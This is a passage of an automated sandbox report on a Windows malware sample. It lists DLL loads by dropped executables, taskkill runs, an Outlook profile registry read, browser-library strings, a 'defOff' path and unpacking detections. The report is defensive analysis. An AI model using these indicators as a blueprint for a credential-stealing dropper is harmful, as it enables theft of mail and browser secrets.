Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1828352 > 1048576

Source: file.exe

Static PE information: Raw size of owiwlckr is bigger than: 0x100000 < 0x1a4600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: ea2bf34af0.exe, 0000001D.00000002.3316172334.0000000005EB2000.00000040.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3245694568.0000000007DF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;owiwlckr:EW;gktksauk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;owiwlckr:EW;gktksauk:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Unpacked PE file: 23.2.DocumentsIJKFHDBKFC.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;feznedxr:EW;batlnaql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;feznedxr:EW;batlnaql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.3e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;feznedxr:EW;batlnaql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;feznedxr:EW;batlnaql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.3e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;feznedxr:EW;batlnaql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;feznedxr:EW;batlnaql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Unpacked PE file: 29.2.ea2bf34af0.exe.1e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ozsfgbmb:EW;adwhoacu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ozsfgbmb:EW;adwhoacu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Unpacked PE file: 30.2.215a689fd9.exe.4f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;owiwlckr:EW;gktksauk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;owiwlckr:EW;gktksauk:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA93480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA93480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: e4e71e967a.exe.26.dr	Static PE information: real checksum: 0x2b1aef should be: 0x2b5cfa
Source: random[1].exe0.26.dr	Static PE information: real checksum: 0x1db445 should be: 0x1d5e65
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1e0f23 should be: 0x1e38ba
Source: c6782cb97e.exe.26.dr	Static PE information: real checksum: 0x4393da should be: 0x440620
Source: random[2].exe0.26.dr	Static PE information: real checksum: 0x1c5c1e should be: 0x1c20da
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: real checksum: 0x1e0f23 should be: 0x1e38ba
Source: random[2].exe.26.dr	Static PE information: real checksum: 0x2b1aef should be: 0x2b5cfa
Source: random[1].exe.26.dr	Static PE information: real checksum: 0x4393da should be: 0x440620
Source: ea2bf34af0.exe.26.dr	Static PE information: real checksum: 0x1db445 should be: 0x1d5e65
